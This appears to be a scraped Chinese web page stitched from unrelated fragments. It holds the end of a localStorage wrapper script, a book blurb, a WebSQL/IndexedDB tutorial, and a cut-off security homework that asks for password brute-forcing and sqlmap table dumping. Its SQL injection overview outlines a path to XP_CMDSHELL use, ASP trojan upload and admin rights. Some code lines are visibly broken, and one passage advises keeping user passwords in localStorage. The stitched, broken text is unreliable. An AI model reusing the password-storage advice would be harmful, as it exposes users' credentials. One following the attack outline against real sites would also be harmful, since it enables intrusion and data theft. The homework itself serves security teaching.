    107.             console.log("已插入数据:"+obj_data+",所有数据如下:");  
    108.             console.dir(all_data);  
    109.             return true;  
    110.         }  
    111.         else{  
    112.             console.log("不存在"+space_name+"空间");  
    113.             return false;  
    114.         }  
    115.     };  
    116.   
    117.     //更新数据,参数为旧的对象、用于替换就对象的新对象  
    118.     //如果空间中有一模一样的数据,则更新最新的那个  
    119.     this.update = function(space_name, obj_origin, obj_replace){  
    120.         //检测是否存在空间  
    121.         if(myStorage.getItem(space_name)){  
    122.             //获取旧对象下标  
    123.             var objIndex = -1;  
    124.             //获取空间存储的数据  
    125.             var all_data = JSON.parse(myStorage.getItem(space_name));  
    126.             //遍历空间,找到obj_origin对象  
    127.             for(var i=all_data.length-1; i>=0; i--){  
    128.                 //如果找到旧对象  
    129.                 if(JSON.stringify(all_data[i]) == JSON.stringify(obj_origin)){  
    130.                     objIndex = i;  
    131.                 }  
    132.             }  
    133.             //如果找到旧对象  
    134.             if(objIndex !== -1){  
    135.                 all_data.splice(objIndex, 1, obj_replace);  
    136.                 //更新空间  
    137.                 myStorage.setItem(space_name, JSON.stringify(all_data));  
    138.   
    139.                 console.log("已更新数据:"+obj_origin+",所有数据如下:");  
    140.                 console.dir(all_data);  
    141.                 return true;  
    142.             }  
    143.             else{  
    144.                 console.log("没有"+obj_origin+"对象");  
    145.                 return false;  
    146.             }  
    147.         }  
    148.         else{  
    149.             console.log("不存在"+space_name+"空间");  
    150.             return false;  
    151.         }  
    152.     };  
    153.   
    154.     //删除数据,参数为需要删除的对象  
    155.     //如果空间中有一模一样的数据,则删除最新的那个  
    156.     this.delete = function(space_name, obj_data){  
    157.         //检测是否存在空间  
    158.         if(myStorage.getItem(space_name)){  
    159.             //获取旧对象下标  
    160.             var objIndex = -1;  
    161.             //获取空间存储的数据  
    162.             var all_data = JSON.parse(myStorage.getItem(space_name));  
    163.             //遍历空间,找到obj_data对象  
    164.             for(var i=all_data.length-1; i>=0; i--){  
    165.                 //如果找到旧对象  
    166.                 if(JSON.stringify(all_data[i]) == JSON.stringify(obj_data)){  
    167.                     objIndex = i;  
    168.                 }  
    169.             }  
    170.             //如果找到旧对象  
    171.             if(objIndex !== -1){  
    172.                 all_data.splice(objIndex, 1);  
    173.                 //更新空间  
    174.                 myStorage.setItem(space_name, JSON.stringify(all_data));  
    175.   
    176.                 console.log("已删除数据:"+obj_data+",所有数据如下:");  
    177.                 console.dir(all_data);  
    178.                 return true;  
    179.             }  
    180.             else{  
    181.                 console.log("没有"+obj_data+"对象");  
    182.                 return false;  
    183.             }  
    184.         }  
    185.         else{  
    186.             console.log("不存在"+space_name+"空间");  
    187.             return false;  
    188.         }  
    189.     };  
    190.   
    191.     //查询函数,参数为字符串或数字或数组或布尔型,或对象的属性,返回一个结果数组  
    192.     this.select = function(space_name, select_value=" ", is_select_all=true){  
    193.         if(myStorage.getItem(space_name)){  
    194.             //初始化结果数组  
    195.             var select_result = [];  
    196.   
    197.             //生产存储于结果数组中的对象  
    198.             function productObj(row, ob){  
    199.                 return ({  
    200.                     At : row,  
    201.                     Obj : ob  
    202.                 });  
    203.             };  
    204.   
    205.             //获取space_name空间的所有数据对象  
    206.             var all_data = JSON.parse(myStorage.getItem(space_name));  
    207.   
    208.             //如果存在查询条件  
    209.             if(select_value){  
    210.                 //是否查找全部  
    211.                 if(is_select_all === true){  
    212.                     for(var i=all_data.length-1; i>=0; i--){  
    213.                         //全部查找,生成结果集  
    214.                         select_result.push(new productObj(i,all_data[i]));  
    215.                     }  
    216.                 }  
    217.                 else{  
    218.                     //条件查找  
    219.                     for(var i=all_data.length-1; i>=0; i--){  
    220.                         //如果格式相同,检测值相等情况  
    221.                         iftypeof(all_data[i]) === typeof(select_value) ){  
    222.                             if(JSON.stringify(all_data[i]) === JSON.stringify(select_value) ){  
    223.                                 //如果找到,保存到结果集  
    224.                                 select_result.push(new productObj(i,all_data[i]));  
    225.                             }  
    226.                         }  
    227.                         else{  
    228.                             iftypeof(all_data[i]) !== "number" ||  
    229.                                 typeof(all_data[i]) !== "boolean" ||  
    230.                                 typeof(all_data[i]) !== "string"  
    231.                             ){  
    232.                                 forvar x in all_data[i]){  
    233.                                     if(typeof(all_data[i][x]) === typeof(select_value)){  
    234.                                         if(JSON.stringify(all_data[i][x]) === JSON.stringify(select_value) ){  
    235.                                             //如果找到,保存到结果集  
    236.                                             select_result.push(new productObj(i,all_data[i]));  
    237.                                         }  
    238.                                     }  
    239.                                 }  
    240.                             }  
    241.                         }  
    242.                     }  
    243.                 }  
    244.             }  
    245.             if(select_result.length>0){  
    246.                 console.log("查询到结果");  
    247.                 console.dir(select_result);  
    248.             }  
    249.             else{  
    250.                 console.log("没查询到结果");  
    251.             }  
    252.   
    253.             //返回结果集  
    254.             return select_result;  
    255.         }  
    256.         else{  
    257.             console.log("不存在"+space_name+"空间");  
    258.             return [];  
    259.         }  
    260.     };  
    261.   
    262. })());  

    至于上面的 localDB.js 的用法,很简单,我写了一个例子:


    ( localDB.js 使用测试 )

    [html]  view plain  copy
     print ?
    1. <script src="myStorage.js"></script>  
    2. <script src="json2.js"></script>  
    3. <script src="localDB.js"></script>  
    4.   
    5. <script type="text/javascript">  
    6.   
    7.     //创建一个叫Coffee存储空间  
    8.     localDB.createSpace("Coffee");  
    9.   
    10.     //可以向Coffee插入任何类型的数据  
    11.     localDB.insert("Coffee", "mocha");  
    12.     localDB.insert("Coffee", {name:"cappuccino",price:28});  
    13.     localDB.insert("Coffee", false);  
    14.     localDB.insert("Coffee", [1,2,3]);  
    15.   
    16.     //更新某个数据,第二个参数需要跟插入时对应的参数的值一模一样  
    17.     localDB.update("Coffee", "mocha", "DB");  
    18.     localDB.update("Coffee", {name:"cappuccino",price:28}, {name:"latte",price:31})  
    19.   
    20.     //按条件查询数据并返回结果数组,最多可按条件深度挖掘到空间的第三层数据,有兴趣的童鞋可以加个递归让它不停挖掘数据  
    21.     var some = localDB.select("Coffee","man");  
    22.     //不输入第二、三参数则查找空间中全部数据  
    23.     var all = localDB.select("Coffee");  
    24.   
    25.     //删除空间中的数据,第二个参数需要跟插入时对应的参数值一模一样  
    26.     localDB.delete("Coffee","DB");  
    27.     //删除Coffe空间,空间所有数据丢失  
    28.     localDB.deleteSpace("Coffee");  
    29.       
    30. </script>  


    2、localDB数据存储的相关概念:

    (1)两个空间:

             这里的空间是指空间管理器的功能,一个是createSpace函数用于按名创建一个存储空间,另一个是deleteSpace函数是用于按名删除一个存储空间。

    (2)四个操作:

             这里的操作是指对某个空间所能执行的操作,第一个是insert操作能向空间插入任一类型的数据,第二个是update操作能用一个数据去替换空间的某个数据,第三个是delete操作能删除空间中某个数据,第四个是select操作能根据一个数据去查询空间中匹配的数据并返回一个存储着多个 { At:结果数组下标值, Obj:结果对象 } 对象的结果数组。


    (3)对比:

             比WebSQL简单多了有木有?本来我打算将local封装成使用SQL来操作的数据库,但是有三点理由阻止了我的冲动,第一、我没有时间(单纯完成这篇文章就花了我好几天空余时间);第二、网上已经有大神封装过了,那个复杂啊看得我觉得再去封装没必要了;第三、就算将localDB弄成SQL的操作,体验上也没有直接用WebSQL好。如果排除了之前使用数据库的惯性,只从js角度来看,WebSQL这样的用法完全丢失了js的最大特性——动态,不采用SQL方案而选择JSON才符合JS的正统血液,只要不考虑性能问题,把性能的影响压缩到最小,基于JSON的H5本地存储才适合前端的环境,JS+JSON能诞生更多创造性的编程方法,同时H5才会越来越具备魅力和挑战。


    3、localDB类的应用场景:

    有了localDB类,能做什么?做的东西可多了,比如,在本地保存用户的账号、密码、账号信息,就可以避免同一个网站二次登陆,或者避免了多次请求重复的数据导致加大了服务器的负担,可定时根据序列号或md5值等等方案来同步本地与服务器的数据等等。总之,在H5本地存储领域,原生的localStorage是用得最广泛的,至于seesionStorage还不如服务器端语言用得方便实在,而webSQL就不必说了,兼容性太差,开发起来太麻烦,并且有点鸡肋。所以,如果你想体验或使用H5存储,可以试用我的localDB,目的是通过使用我写的localDB来提供你一些思路,然后你能根据需求来打造属于你的H5本地存储函数。


    有需要localDB.js的童鞋,请点击这里下载







    五、总结;


    如果是做一个网站的话,大多还是依赖着服务器,几乎所有数据都存储在服务器,大量的数值运算也在服务器,所以对于网站来说,H5本地存储除了提高用户体验、加强本地应用功能之外,似乎有点鸡肋和尴尬。但是,H5并不是都用来做网站的,比如在游戏方面,H5本地存储提供了一个很好的存储功能,也就意味着H5所做的并不一定都是联网应用,它也可以是本地应用,没有网络照样玩得转起来,在没有网络的情况下,本地存储是一个必要的存在了。在NativeApp的开发趋于重度联网应用的情况下,WebApp正在悄悄兼顾并完善着起本地的使用,在未来谁会取代谁不好说,但发展趋势是原生软件更加依赖硬件的支持即软件硬件化,而H5技术的产品则是随时随地使用化。

    展开全文
  • SQL 进阶教程

    万次阅读 2018-12-05 23:30:21
    本书是《SQL 基础教程》作者 MICK 为志在向中级进阶的数据库工程师编写的一本 SQL 技能提升指南。 全书可分为两部分,第一部分介绍了 SQL 语言不同寻常的使用技巧,带领读者从 SQL 常见技术,比如 CASE 表达式、自...

    内容简介

    本书是《SQL 基础教程》作者 MICK 为志在向中级进阶的数据库工程师编写的一本 SQL 技能提升指南。

    全书可分为两部分,第一部分介绍了 SQL 语言不同寻常的使用技巧,带领读者从 SQL 常见技术,比如 CASE 表达式、自连接、HAVING 子句、外连接、关联子查询、EXISTS……去探索新发现。这部分不仅穿插讲解了这些技巧背后的逻辑和相关知识,而且辅以丰富的示例程序,旨在帮助读者提升编程水平;第二部分着重介绍关系数据库的发展史,把实践与理论结合起来,旨在帮助读者加深对关系数据库和 SQL 语言的理解。此外,每节末尾均设置有练习题,并在书末提供了解答,方便读者检验自己对书中知识点的掌握程度。

    本书适合具有半年以上 SQL 使用经验、已掌握 SQL 基础知识和技能、希望提升自己编程水平的读者阅读。

    本书特色

    1. 转变面向过程语言的思维定式,学习 SQL 常见技术的不同用法,切实提升 SQL 应用技能。
    2. 解析经典文献,回顾关系数据库发展史,从逻辑学、集合论的角度讲述 SQL 和关系模型的理论,深刻理解面向集合思维。
    3. 讲解由浅入深,辅以200多段基于标准 SQL 编写的示例代码和丰富的练习题(包含解答),理论与实践相结合,易懂、实用、好操作。

    作者简介

    MICK,日本知名数据库工程师,就职于 SI 企业,致力于数据仓库和商业智能的开发。日常除了在其个人主页“关系数据库的世界”中分享数据库和 SQL 的相关技术信息外,还为 CodeZine(http://codezine.jp)及 IT 技术杂志 WEB+DB PRESS 撰写相关技术文章。同时还是《SQL 解惑(第2版)》日文版的译者。

    本书内容

    译者序

    我曾在日本从事多年软件开发工作,工作中经常会跟各种数据库打交道,编写 SQL 代码也是常有的事情。但是对于 SQL 语言,当时也只是通过大学里的一门讲授数据库系统的课程了解了基本的语法,在工作中积累了一些实用的经验而已,并没有进行过非常深入的研究。于是我便打算找一本深入一些的书,最好是面向有一定编程经验的读者的,系统地学习一下。

    后来我在书店遇见了 MICK 先生的这本书,翻看前言,尝试了他提出的检验读者水平的若干问题。非常遗憾,我只能回答出很少的几个,于是我便认为这本书正是我需要的,当场决定买下了。

    几年过去,我由于个人原因回国了,工作中也不再使用日语,便想着借着业余时间翻译一些优秀的日语技术书。当图灵公司的老师问我是否有意向翻译这本书时,我立刻就答应了。当初回国时为了缩减行李,我只保留了几本日语原版的技术书,这本就是其中之一。这样一本多年前结缘、至今仍躺在我书架上的好书,当有机会将它翻译成中文版时,我实在没有什么理由放弃掉。

    这本书,我认为是作者的用心之作。书中大部分内容都来自作者记录自己实践总结和日常思考的个人博客,最大的特点是理论与实践相结合,除了讲述应该怎么做,还解释了其背后的原理。全书包含两部分内容,第一部分介绍了 SQL 在使用方面的一些技巧,第二部分介绍了关系数据库相关的内容。第一部分在介绍 SQL 的技巧时,作者并没有上来就展示各种酷炫的招式,而是先以简单的问题或者例题引出将要讨论的内容,在讲解之后进一步扩展,由点及面地引出更深的话题或者背后的原理。这种由浅入深的讲述方式,符合一般的学习习惯,读者能在轻松愉悦的阅读过程中,跟着作者一起思考,自然而然地掌握相应的思考方式。第二部分在介绍关系数据库时,作者先介绍了关系数据库诞生的历史背景及其解决的问题。关系数据库已经诞生了几十年,为了让现在的读者理解当初的问题和背景,作者大量引用了关系数据库之父 E.F. Codd 和关系数据库领域权威专家 C.J. Date 的文献和言论,并按自己的理解给出了分析与解释,力图使读者体会到伟大人物们在革新技术之际的心路历程。除此之外,第二部分中作者还从逻辑学和集合论的角度讲述了 SQL 和关系模型的理论基础。该部分内容作者充分发挥了自己在相关领域的深厚积累,以深入浅出的方式进行了阐述,我认为非常精彩。

    书中引用了许多经典的图书和文献,都在脚注和书末参考文献中给出了详细的出处,方便有需要的读者进一步研读。更加可贵的是,在大多数小节的末尾作者都提出了两三个精心设计的小问题,这些问题是正文内容的扩展和延伸,非常利于读者巩固相应的知识点。而且,针对这些问题,作者也给出了详细的解答,并指出了读者容易犯的错误。

    本书推荐数据库工程师、经常需要和数据库打交道的软件工程师,以及所有希望提升 SQL 水平的读者阅读。在翻译过程中,我尽力表达出原著的意图,但是由于水平有限,难免存在问题,欢迎读者批评指正。读者在阅读中有任何问题,都可以通过电子邮件和我取得联系(ensho_go@hotmail.com)。

    2017 年 9 月

    于北京

    前言

    编写本书的目的在于架起两座桥梁:一是让数据库工程师从初级向中级进阶的桥梁,旨在帮助初级工程师提升自己;二是理论(原理)和实践之间的桥梁。这里所说的“初级”,具体是指已经掌握了 SQL 的基础知识和技能,具有半年到一年左右的使用经验这种水平。

    我们来做一个测试,帮助大家了解一下自己处于何种水平。下面有10个问题,请回答 Yes 或 No。

    1. 没有在聚合函数中使用过 CASE 表达式。

    2. 想象不出自连接是如何工作的。

    3. 感觉 HAVING 子句不是很常用。

    4. 感觉 INEXISTS 好用,所以更喜欢用 IN

    5. 听到布尔类型,脑海里浮现出的只有 truefalse

    6. 设计表的时候不加 NOT NULL 的约束。

    7. SQL 全部用大写字母或全部用小写字母来写。

    8. 不能用一句话说出 GROUP BYPARTITION BY 的区别。

    9. 不知道 SQL 里的高阶函数的名字。

    10. 试着读过 Joe Celko 的《SQL 权威指南》[1]和《SQL 解惑(第2版)》[2],但是感觉太难而没能读完(或者压根儿没有读过)。

    大家的回答如何呢?如果全部都回答了 No,那很好,不要担心什么,请合上本书,立刻踏上成为一名高级工程师的道路吧(也许只有本书3-2节“参考文献”值得略读一下)。相反,如果一半以上都回答了 Yes,那么本书将照亮大家的前进之路——这正是编写本书的目的,相信大家读后一定会有收获。

    但是,接下来要说的内容可能会让大家觉得有点前后矛盾。因为,这本书即将介绍的技术绝不是多么新潮的东西,而是遵循标准 SQL 的非常普通的技术。关于这一点,相信扫一眼目录你就会明白。CASE 表达式、自连接、HAVING 子句、外连接、关联子查询、EXISTS……这些都是数据库工程师日常工作中经常用到的技术。

    编写本书的目的就是从新的角度把光照向这些“并没有什么特别的、谁都知道的技术”,照亮它们迄今都没有被看到的一面。相信大家读完本书时,会从那个一直以来都被认为平淡无奇的关系数据库的世界里,看到一些不一样的光辉。

    下面,就让我们立刻前往博大精深的关系数据库的世界,开始探险之旅吧。

    声明

    本书中的 URL 等信息可能会有变化。

    本书出版之际,我们力求准确阐述,但是翔泳社、原书作者、人民邮电出版社和译者均不对内容作任何保证,对于由本书内容和示例代码造成的一切后果,不承担任何责任。

    本书中的示例代码和脚本,以及执行结果页面都是基于特定环境的参考示例。

    本书中的公司名、商品名分别是相关公司的商标或注册商标。


    [1] 原书名为 Joe Celko's SQL for Smarties: Advanced SQL Programming,本书共有五版。国内引进了第4版,书名为《SQL 权威指南(第4版)》,朱巍等译,人民邮电出版社,2013年。——编者注

    [2] 米全喜译,人民邮电出版社,2008年4月。——编者注

    阅读本书时的注意事项
    • 本书中出现的 SQL 语句都是尽可能按照标准 SQL(SQL-92/99/2003)来写的,对于依赖具体数据库实现的地方,本书会有明确的说明。

    • 按照标准 SQL 的要求,指定表的别名的关键字 AS 也应该写上,但本书省略了。这是为了避免 SQL 程序在 Oracle 数据库中出错(其他数据库里也一样,省略了就不会出错)。

    • RANKROW_NUMBER 这样的窗口函数(OLAP 函数)目前还不能在 MySQL 数据库中运行。

    • 正文里的代码在以下数据库中测试运行过。

      • Oracle 10g
      • SQL Server 2005
      • DB2 9.1
      • PostgreSQL 9.6
      • MySQL 5.0
    • 正文里提到 Oracle、MySQL 等数据库而未指定版本时,请参照上述版本。

    • 关于用于创建示例用表的 SQL 语句和示例代码等,请参考如下网站。

      http://www.ituring.com.cn/book/1813(请点击“随书下载”下载中文版相关资料)

      http://www.geocities.jp/mickindex/database/db_support_sinan.html(作者 MICK 的日文网站)

    1-1 CASE 表达式
    1-2 自连接的用法
    1-3 三值逻辑和 NULL
    1-4 HAVING 子句的力量
    1-5 外连接的用法
    1-6 用关联子查询比较行与行
    1-7 用 SQL 进行集合运算
    1-8 EXISTS 谓词的用法
    1-9 用 SQL 处理数列
    1-10 HAVING 子句又回来了
    1-11 让 SQL 飞起来
    1-12 SQL 编程方法
    2-1 关系数据库的历史
    2-2 为什么叫“关系”模型
    2-3 开始于关系,结束于关系
    2-4 地址这一巨大的怪物
    2-5 GROUP BY 和 PARTITION BY
    2-6 从面向过程思维向声明式思维、面向集合思维转变的7个关键点
    2-7 SQL 和递归集合
    2-8 人类的逻辑学
    2-9 消灭 NULL 委员会
    2-10 SQL 中的层级
    3-1 习题解答
    3-2 参考文献
    后记

    阅读全文: http://gitbook.cn/gitchat/geekbook/5c04b2d4b4075a37edf1522a

    展开全文
  • 导言  如我们在之前的教程里讨论的那样,分页可以通过两种方法来实现:  1.默认分页– 你仅仅只用选中...但是它每次都读取所有的数据,这种方式在大数据量或者并发用户多的情况下就不合适.在这样的情况下,我们必须通
  • HTML5本地数据库(WebSQL和IndexDB)

    千次阅读 2020-12-31 21:25:56
    一、WebSQL WebSQL是前端的一个独立模块,是web存储方式的一种,我们调试的时候会经常看到,只是一般很少使用。并且,当前只有谷歌支持,ie和火狐均不支持。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存...

    一、WebSQL

    WebSQL是前端的一个独立模块,是web存储方式的一种,我们调试的时候会经常看到,只是一般很少使用。并且,当前只有谷歌支持,ie和火狐均不支持。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g6CM9dFv-1609421143537)(en-resource://database/4497:1)]

    我们对数据库的一般概念是后端才会跟数据库打交道,进行一些业务性的增删改查。而这里的数据库也不同于真正意义上的数据库。

    Websql的关键技术点分为:

    • 测试浏览器支持
    • 创建数据库
    • 创建表格插入数据等

    主要方法:
    1、openDatabase:这个方法使用现有的数据库或者新建的数据库创建一个数据库对象。
    2、transaction:这个方法让我们能够控制一个事务,以及基于这种情况执行提交或者回滚。
    3、executeSql:这个方法用于执行实际的 SQL 查询。

    openDatabase() 方法对应的五个参数说明:

    • 数据库名称
    • 版本号
    • 描述文本
    • 数据库大小
    • 创建回调

    测试浏览器支持

    if(window.openDatabase){
        console.log(“浏览器支持DataBase”);
    }
    

    transaction执行数据库操作,操作内容就是正常的数据库的增删改查。executeSql是执行具体的sql,参数是
    1.sql语句(大写)
    2.语句中的变量,
    3.执行后的回调

    var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);
    db.transaction(function (tx) {
      tx.executeSql('CREATE TABLE IF NOT EXISTS LOGS (id unique, log)');
      tx.executeSql('INSERT INTO LOGS (id, log) VALUES (1, "菜鸟教程")');
      tx.executeSql('INSERT INTO LOGS (id,log) VALUES (?, ?)', [e_id, e_log]); //使用外部变量,执行时会将变量数组中的值依次替换前边的问号位置
        tx.executeSql('SELECT * FROM LOGS', [], function (tx, results) {
            var len = results.rows.length, i; msg = "<p>查询记录条数: " + len + "</p>"; document.querySelector('#status').innerHTML += msg; for (i = 0; i < len; i++){ msg = "<p><b>" + results.rows.item(i).log + "</b></p>"; document.querySelector('#status').innerHTML += msg; }
        }, null); //查询和回调
      tx.executeSql('DELETE FROM LOGS  WHERE id=1'); //删除
      tx.executeSql('DELETE FROM LOGS WHERE id=?', [id]);
      tx.executeSql('UPDATE LOGS SET log=\'www.w3cschool.cc\' WHERE id=2'); //更新
      tx.executeSql('UPDATE LOGS SET log=\'www.w3cschool.cc\' WHERE id=?', [id]);
    });
    

    openDatabase(param1,param2,param3,param4,param5)参数说明:当指定的数据库名(param1)存在时,只有版本号(param2)与客户端一致或版本号指定为空的字符串(’’)时,可正常打开数据库,返回database对象,否则都将抛出异常;
    当指定的数据库名(param1)不存在时,将新创建一个符合参数的数据库,并返回database对象。
    第一个参数:数据库名
    第二个参数:当前数据库版本,若指定版本号与浏览器客户端不一致将报错,无法打开数据库,并抛出版本不匹配错误。可以指定为空(’’);建议指定为空字符串(’’),其他若不匹配都将报错。仅当指定的版本与客户端一致或指定为’'时,可以正常打开数据库;
    第三个参数:数据库描述。但实际感觉没啥用处。像是被丢弃了。
    第四个参数:数据库大小
    第五个参数:一个回调函数,当要打开的数据库不存在时,会将db作为参数调用,同时openDatabase也会返回db; 特别注意:回调函数执行为异步操作,需当心;比如在回调函数F中初始化创建了一张表A,但由于是异步的,在拿着openDatabase返回的db做操作时,就可能查询不到表A,因为之前的回调函数F可能还没完成。个人感觉不好使,建议弃用。

    基本操作与实际数据库操作基本一致。

    二、IndexedDB

    诞生背景:

    随着浏览器的功能不断增强,越来越多的网站开始考虑,将大量数据储存在客户端,这样可以减少从服务器获取数据,直接从本地获取数据。现有的浏览器数据储存方案,都不适合储存大量数据:Cookie 的大小不超过4KB,且每次请求都会发送回服务器;LocalStorage 在 2.5MB 到 10MB 之间(各家浏览器不同),而且不提供搜索功能,不能建立自定义的索引。所以,需要一种新的解决方案,这就是 IndexedDB 诞生的背景。

    IndexedDB是浏览器提供的本地数据库, 允许储存大量数据,提供查找接口,还能建立索引。这些都是 LocalStorage 所不具备的。就数据库类型而言,IndexedDB 不属于关系型数据库(不支持 SQL 查询语句),更接近 NoSQL 数据库。

    IndexedDB 具有以下特点:

    (1)键值对储存。 IndexedDB 内部采用对象仓库(object store)存放数据。所有类型的数据都可以直接存入,包括 JavaScript 对象。对象仓库中,数据以"键值对"的形式保存,每一个数据记录都有对应的主键,主键是独一无二的,不能有重复,否则会抛出一个错误。

    (2)异步。 IndexedDB 操作时不会锁死浏览器,用户依然可以进行其他操作,这与 LocalStorage 形成对比,后者的操作是同步的。异步设计是为了防止大量数据的读写,拖慢网页的表现。

    (3)支持事务。 IndexedDB 支持事务(transaction),这意味着一系列操作步骤之中,只要有一步失败,整个事务就都取消,数据库回滚到事务发生之前的状态,不存在只改写一部分数据的情况。

    (4)同源限制 IndexedDB 受到同源限制,每一个数据库对应创建它的域名。网页只能访问自身域名下的数据库,而不能访问跨域的数据库。

    (5)储存空间大 IndexedDB 的储存空间比 LocalStorage 大得多,一般来说不少于 250MB,甚至没有上限。

    (6)支持二进制储存。 IndexedDB 不仅可以储存字符串,还可以储存二进制数据(ArrayBuffer 对象和 Blob 对象)。

    IndexedDB的一些基本概念:

    • 数据库:IDBDatabase
    • 对象对象仓库:IDBObjectStore 对象
    • 索引: IDBIndex 对象
    • 事务:IDBTransaction 对象
    • 操作请求:IDBRequest 对象
    • 指针: IDBCursor 对象
    • 主键集合:IDBKeyRange 对象

    (1)数据库
    数据库是一系列相关数据的容器。每个域名(严格的说,是协议 + 域名 + 端口)都可以新建任意多个数据库。IndexedDB 数据库有版本的概念。同一个时刻,只能有一个版本的数据库存在。如果要修改数据库结构(新增或删除表、索引或者主键),只能通过升级数据库版本完成。

    (2)对象仓库
    每个数据库包含若干个对象仓库(object store)。它类似于关系型数据库的表格。

    (3)数据记录
    对象仓库保存的是数据记录。每条记录类似于关系型数据库的行,但是只有主键和数据体两部分。主键可以是数据记录里面的一个属性,也可以指定为一个递增的整数编号。
    (4)索引
    (5)事务

    数据记录的读写和删改,都要通过事务完成。事务对象提供error、abort和complete三个事件,用来监听操作结果。

    基本操作:

    (1)打开数据库
    使用 IndexedDB 的第一步是打开数据库,使用indexedDB.open()方法。这个方法接受两个参数,第一个参数是字符串,表示数据库的名字。如果指定的数据库不存在,就会新建数据库。第二个参数是整数,表示数据库的版本。如果省略,打开已有数据库时,默认为当前版本;新建数据库时,默认为1。indexedDB.open()方法返回一个 IDBRequest 对象。这个对象通过三种事件errorsuccessupgradeneeded,处理打开数据库的操作结果。
    (2)新建数据库

    var db;
    var objectStore;
    var request = window.indexedDB.open(databaseName, version);
    
    request.onerror = function (event) {}
    request.onsuccess = function (event) {
        db = request.result//可以拿到数据库对象
    }
    //如果指定的版本号,大于数据库的实际版本号,就会发生数据库升级事件upgradeneeded
    request.onupgradeneeded = function (event) {
        db = event.target.result;
        if (!db.objectStoreNames.contains('person')) {//判断是否存在
            objectStore = db.createObjectStore('person', { keyPath: 'id' });
    //自动生成主键db.createObjectStore(
    //  'person',
    //  { autoIncrement: true }
    //);
        }
        //新建索引,参数索引名称、索引所在的属性、配置对象
        objectStore.createIndex('email', 'email', { unique: true });
    }
    

    (3)新增数据
    在以上操作的基础上,需要新建一个事务。新建时必须指定表格名称和操作模式(“只读"或"读写”)。新建事务以后,通过IDBTransaction.objectStore(name)方法,拿到 IDBObjectStore 对象,再通过表格对象的add()方法,向表格写入一条记录。

    写入操作是一个异步操作,通过监听连接对象的success事件和error事件,了解是否写入成功。

    function add() {
      var request = db.transaction(['person'], 'readwrite')
        .objectStore('person')
        .add({ id: 1, name: '张三', age: 24, email: 'zhangsan@example.com' });
    
      request.onsuccess = function (event) {
        console.log('数据写入成功');
      };
    
      request.onerror = function (event) {
        console.log('数据写入失败');
      }
    }
    
    add();
    

    (4)读取数据
    objectStore.get()方法用于读取数据,参数是主键的值。

    function read() {
       var transaction = db.transaction(['person']);
       var objectStore = transaction.objectStore('person');
       var request = objectStore.get(1);
    
       request.onerror = function(event) {
         console.log('事务失败');
       };
    
       request.onsuccess = function( event) {
          if (request.result) {
            console.log('Name: ' + request.result.name);
            console.log('Age: ' + request.result.age);
            console.log('Email: ' + request.result.email);
          } else {
            console.log('未获得数据记录');
          }
       };
    }
    
    read();
    

    (5)遍历数据
    遍历数据表格的所有记录,要使用指针对象 IDBCursor。openCursor()方法是一个异步操作,所以要监听success事件。

    function readAll() {
      var objectStore = db.transaction('person').objectStore('person');
    
       objectStore.openCursor().onsuccess = function (event) {
         var cursor = event.target.result;
    
         if (cursor) {
           console.log('Id: ' + cursor.key);
           console.log('Name: ' + cursor.value.name);
           console.log('Age: ' + cursor.value.age);
           console.log('Email: ' + cursor.value.email);
           cursor.continue();
        } else {
          console.log('没有更多数据了!');
        }
      };
    }
    
    readAll();
    

    (6)数据更新
    IDBObject.put()方法。

    function update() {
      var request = db.transaction(['person'], 'readwrite')
        .objectStore('person')
        .put({ id: 1, name: '李四', age: 35, email: 'lisi@example.com' });
    
      request.onsuccess = function (event) {
        console.log('数据更新成功');
      };
    
      request.onerror = function (event) {
        console.log('数据更新失败');
      }
    }
    
    update();
    

    (7)数据删除
    IDBObjectStore.delete()方法用于删除记录。

    function remove() {
      var request = db.transaction(['person'], 'readwrite')
        .objectStore('person')
        .delete(1);
    
      request.onsuccess = function (event) {
        console.log('数据删除成功');
      };
    }
    
    remove();
    

    (8)索引的使用
    添加索引后可以使用索引查询数据

    var transaction = db.transaction(['person'], 'readonly');
    var store = transaction.objectStore('person');
    var index = store.index('name');
    var request = index.get('李四');
    
    request.onsuccess = function (e) {
      var result = e.target.result;
      if (result) {
        // ...
      } else {
        // ...
      }
    }
    
    展开全文
  • Web暴力破解及SQL注入

    千次阅读 2018-08-09 21:23:37
    Web暴力破解及SQL注入》作业 课程名称:《Web安全(二)》 作业内容: 已知owasp服务器内的网站用户名为:gordonb 密码为6位,前三位为‘abc’后三位为数字,对其进行爆破得到正确的密码并验证...

    Web暴力破解及SQL注入》作业

    课程名称:《Web安全(二)》

    作业内容:

    1. 已知owasp服务器内的网站用户名为:gordonb 密码为6位,前三位为‘abc’后三位为数字,对其进行爆破得到正确的密码并验证。
    2. 使用SQLmap对该网站的前3个SQL注入案例进行SQL注入,将用户名和密码展示出一张表,实现拖库操作。

    【要求】

    1. 概念越详细越好;
    2. 验证过程必要有截图和文字说明;
    3. 防护措施必须超过5条以上;
    4. 其余部分均可配文字简介叙述;
    5. 作业模板在此基础上可以自由发挥设计;

    【SQL注入漏洞概述】

    SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

    SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密数据库防火墙数据脱敏数据库安全审计系统

    SQL注入攻击会导致的数据库安全风险包括:刷库拖库撞库

    SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问

     

    没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据.

    总体思路

    ·发现SQL注入位置;

    ·判断后台数据库类型;

    ·确定XP_CMDSHELL可执行情况

    ·发现WEB虚拟目录

    ·上传ASP木马

    ·得到管理员权限;

      一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数

    SQL注入攻击

